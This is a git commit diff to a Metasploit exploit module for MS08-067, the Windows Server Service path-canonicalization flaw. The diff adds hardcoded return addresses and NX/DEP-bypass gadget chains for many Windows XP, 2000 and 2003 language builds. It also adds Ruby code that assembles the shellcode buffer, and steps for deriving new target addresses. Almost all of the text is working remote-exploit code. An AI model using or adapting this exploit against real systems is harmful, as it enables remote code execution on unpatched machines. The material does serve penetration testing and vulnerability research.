Lots of new targets merged in for MS08-067 including Brett Moore's 2003 SP2 DEP bypass
git-svn-id: file:///home/svn/framework3/trunk@5812 4d416f70-5f16-0410-b530-b9f4589650daunstable
HD Moore
parent
08d296240a
commit
7fcf5b3dc2
|
|
@ -26,16 +26,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
This module exploits a parsing flaw in the path canonicalization code of
|
||||
NetAPI32.dll through the Server Service. This module is capable of bypassing
|
||||
DEP on some operating systems and service packs. The correct target must be
|
||||
NX on some operating systems and service packs. The correct target must be
|
||||
used to prevent the Server Service (along with a dozen others in the same
|
||||
process) from crashing. Windows XP targets seem to handle multiple successful
|
||||
exploitation events, but 2003 targets will often crash or hang on subsequent
|
||||
attempts. This is just the first version of this module, full support for
|
||||
DEP bypass on 2003, along with other platforms, is still in development.
|
||||
NX bypass on 2003, along with other platforms, is still in development.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hdm' # with tons of input/help/testing from the community
|
||||
'hdm', # with tons of input/help/testing from the community
|
||||
'Brett Moore <brett.moore[at]insomniasec.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
|
|
@ -60,44 +61,128 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP2 English (DEP)',
|
||||
|
||||
#
|
||||
# Antoine's universal for Windows 2000 with MS06-040 applied
|
||||
# Use ms06_040_netapi for systems without this patch.
|
||||
#
|
||||
[ 'Windows 2000 MS06-040+ (YMMV pre MS06-040)',
|
||||
{
|
||||
'Ret' => 0x001f1cb0,
|
||||
'Scratch' => 0x00020408,
|
||||
}
|
||||
], # JMP EDI Windows 2000 Universal
|
||||
|
||||
#
|
||||
# Metasploit's NX bypass for XP SP2/SP3
|
||||
#
|
||||
[ 'Windows XP SP2 English (NX)',
|
||||
{
|
||||
'Ret' => 0x6f88f727,
|
||||
'DisableNX' => 0x6F8916E2,
|
||||
'Scratch' => 0x00020408,
|
||||
}
|
||||
], # JMP ESI ACGENRAL.DLL, DEP/NX BYPASS ACGENRAL.DLL
|
||||
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
||||
|
||||
[ 'Windows XP SP3 English (DEP)',
|
||||
#
|
||||
# Metasploit's NX bypass for XP SP2/SP3
|
||||
# Target provided by Giorgio Casali <giorgio.casali[at]gmail.com>
|
||||
#
|
||||
[ 'Windows XP SP2 Italian (NX)',
|
||||
{
|
||||
'Ret' => 0x596bf727,
|
||||
'DisableNX' => 0x596c16e2,
|
||||
'Scratch' => 0x00020408,
|
||||
}
|
||||
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
||||
|
||||
#
|
||||
# Metasploit's NX bypass for XP SP2/SP3
|
||||
# Target provided by Ulises2k <ulises2k[at]gmail.com>
|
||||
#
|
||||
[ 'Windows XP SP2 Spanish (NX)',
|
||||
{
|
||||
'Ret' => 0x6fdbf807,
|
||||
'DisableNX' => 0x6fdc17c2,
|
||||
'Scratch' => 0x00020408,
|
||||
}
|
||||
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
||||
|
||||
#
|
||||
# Metasploit's NX bypass for XP SP2/SP3
|
||||
# Target provided by sunwear <shellcoder[at]hotmail.com>
|
||||
#
|
||||
[ 'Windows XP SP2 Chinese (NX)',
|
||||
{
|
||||
'Ret' => 0x58fcda43,
|
||||
'DisableNX' => 0x58fc16e2,
|
||||
'Scratch' => 0x00020408,
|
||||
}
|
||||
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
||||
|
||||
#
|
||||
# Metasploit's NX bypass for XP SP2/SP3
|
||||
#
|
||||
[ 'Windows XP SP3 English (NX)',
|
||||
{
|
||||
'Ret' => 0x6f88f807,
|
||||
'DisableNX' => 0x6F8917C2,
|
||||
'Scratch' => 0x00020408,
|
||||
}
|
||||
], # JMP ESI ACGENRAL.DLL, DEP/NX BYPASS ACGENRAL.DLL
|
||||
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
||||
|
||||
[ 'Windows 2003 SP0 English (NO DEP)',
|
||||
#
|
||||
# Metasploit's NX bypass for XP SP2/SP3
|
||||
# Target provided by Thierry Zoller <Thierry[at]zoller.lu>
|
||||
#
|
||||
[ 'Windows XP SP3 German (NX)',
|
||||
{
|
||||
'Ret' => 0x6fda2bef,
|
||||
'DisableNX' => 0x6fda17c2,
|
||||
'Scratch' => 0x00020408,
|
||||
}
|
||||
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
||||
|
||||
#
|
||||
# Standard return-to-ESI without NX bypass
|
||||
#
|
||||
[ 'Windows 2003 SP0 English (NO NX)',
|
||||
{
|
||||
'Ret' => 0x71bf175f,
|
||||
'Scratch' => 0x00020408,
|
||||
}
|
||||
], # JMP ESI WS2HELP.DLL
|
||||
[ 'Windows 2003 SP2 English (NO DEP)',
|
||||
|
||||
#
|
||||
# Standard return-to-ESI without NX bypass
|
||||
#
|
||||
[ 'Windows 2003 SP2 English (NO NX)',
|
||||
{
|
||||
'Ret' => 0x71bf3969,
|
||||
'Scratch' => 0x00020408,
|
||||
}
|
||||
], # JMP ESI WS2HELP.DLL
|
||||
|
||||
#
|
||||
# Brett Moore's crafty NX bypass for 2003 SP2
|
||||
#
|
||||
[ 'Windows 2003 SP2 English (NX)',
|
||||
{
|
||||
'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL
|
||||
'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL
|
||||
'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL
|
||||
'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL
|
||||
'Scratch' => 0x00020408,
|
||||
}
|
||||
]
|
||||
|
||||
#
|
||||
# Missing Targets
|
||||
# Key: T=TODO ?=UNKNOWN U=UNRELIABLE
|
||||
#
|
||||
# [T] Windows 2000 SP4 - Could not trigger with this vector (need a different call)
|
||||
# [?] Windows XP SP0 - Could not trigger with this vector
|
||||
# [?] Windows XP SP1 - Could not trigger with this vector
|
||||
# [?] Windows 2003 SP1 - Could not trigger with this vector
|
||||
# [T] Windows 2003 SP2 - Triggered but bypassing DEP requires more time
|
||||
# [?] Windows Vista SP0 - Not tested yet
|
||||
# [?] Windows Vista SP1 - Not tested yet
|
||||
#
|
||||
|
|
@ -119,16 +204,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
*** WINDOWS XP SP2/SP3 TARGETS ***
|
||||
|
||||
|
||||
This exploit bypasses DEP/NX by returning to a function call inside acgenral.dll that disables NX
|
||||
This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX
|
||||
for the process and then returns back to a call ESI instruction. These addresses are different
|
||||
between operating systems, service packs, and language packs, but the steps below can be used to
|
||||
add new targets.
|
||||
|
||||
|
||||
If the target system does not have NX/DEP, just place a "call ESI" return into both the Ret and
|
||||
If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and
|
||||
DisableNX elements of the target hash.
|
||||
|
||||
If the target system does have NX/DEP, obtain a copy of the acgenral.dll from that system.
|
||||
If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system.
|
||||
First obtain the value for the Ret element of the hash with the following command:
|
||||
|
||||
$ msfpescan -j esi acgenral.dll
|
||||
|
|
@ -154,12 +239,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
call ds:__imp__NtSetInformationProcess@16
|
||||
|
||||
|
||||
*** WINDOWS XP/2000 NON-DEP TARGETS ***
|
||||
*** WINDOWS XP NON-NX TARGETS ***
|
||||
|
||||
|
||||
Instead of bypassing DEP, just return directly to a "JMP ESI", which takes us to the short
|
||||
Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short
|
||||
jump, and finally the shellcode. XP SP0 and XP SP1 may require a different opnum to get
|
||||
reliable code execution.
|
||||
reliable code execution. O
|
||||
|
||||
|
||||
*** WINDOWS 2003 SP2 TARGETS ***
|
||||
|
|
@ -175,12 +260,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
*** WINDOWS 2000 TARGETS ***
|
||||
|
||||
|
||||
Currently untested, but should be reliable using opnum 0x23 (ala EMM / ph4ntom)
|
||||
No NX to bypass, just return directly to a "JMP EDX", which takes us to the short
|
||||
jump, and finally the shellcode. Systems without MS06-040 applied act differently
|
||||
and should not be targeted with this exploit.
|
||||
|
||||
|
||||
*** WINDOWS VISTA TARGETS ***
|
||||
|
||||
Currently untested, will involve ASLR and DEP, should be fun.
|
||||
Currently untested, will involve ASLR and NX, should be fun.
|
||||
|
||||
|
||||
*** NetprPathCanonicalize IDL ***
|
||||
|
|
@ -219,8 +306,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
prefix = "\\"
|
||||
path = ""
|
||||
server = Rex::Text.rand_text_alpha(rand(8)+1).upcase
|
||||
|
||||
|
||||
#
|
||||
# Windows 2000, XP (NX), and 2003 (NO NX) targets
|
||||
#
|
||||
if(not target['RetDec'])
|
||||
|
||||
jumper = Rex::Text.rand_text_alpha(70).upcase
|
||||
jumper[ 4,4] = [target.ret].pack("V")
|
||||
jumper[56,2] = make_nops(2)
|
||||
|
|
@ -252,7 +346,55 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# NULL termination
|
||||
"\x00" * 2
|
||||
#
|
||||
# Windows 2003 SP2 (NX) targets
|
||||
#
|
||||
else
|
||||
|
||||
jumper = Rex::Text.rand_text_alpha(70).upcase
|
||||
jumper[ 0,4] = [target['RetDec']].pack("V")# one more to Align and make room
|
||||
|
||||
jumper[ 4,4] = [target['RetDec']].pack("V") # 4 more for space
|
||||
jumper[ 8,4] = [target['RetDec']].pack("V")
|
||||
jumper[ 12,4] = [target['RetDec']].pack("V")
|
||||
jumper[ 16,4] = [target['RetDec']].pack("V")
|
||||
|
||||
jumper[ 20,4] = [target['RetPop']].pack("V")# pop to EBP
|
||||
jumper[ 24,4] = [target['DisableNX']].pack("V")
|
||||
|
||||
jumper[ 56,4] = [target['JmpESP']].pack("V")
|
||||
jumper[ 60,4] = [target['JmpESP']].pack("V")
|
||||
jumper[ 64,2] = "\xeb\x02" # our jump
|
||||
jumper[ 68,2] = "\xeb\x62" # original
|
||||
|
||||
path =
|
||||
Rex::Text.to_unicode("\\") +
|
||||
|
||||
# This buffer is removed from the front
|
||||
Rex::Text.rand_text_alpha(100) +
|
||||
|
||||
# Shellcode
|
||||
payload.encoded +
|
||||
|
||||
# Relative path to trigger the bug
|
||||
Rex::Text.to_unicode("\\..\\..\\") +
|
||||
|
||||
# Extra padding
|
||||
Rex::Text.to_unicode(pad) +
|
||||
|
||||
# Writable memory location (static)
|
||||
[target['Scratch']].pack("V") + # EBP
|
||||
|
||||
# Return to code which disables NX (or just the return)
|
||||
[target['RetDec']].pack("V") +
|
||||
|
||||
# Padding with embedded jump
|
||||
jumper +
|
||||
|
||||
# NULL termination
|
||||
"\x00" * 2
|
||||
|
||||
end
|
||||
|
||||
handle = dcerpc_handle(
|
||||
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||||
|
|
@ -267,7 +409,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
NDR.uwstring(server) +
|
||||
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
|
||||
NDR.long(rand(1024)) +
|
||||
NDR.wstring("") +
|
||||
NDR.wstring(prefix) +
|
||||
NDR.long(4097) +
|
||||
NDR.long(0)
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue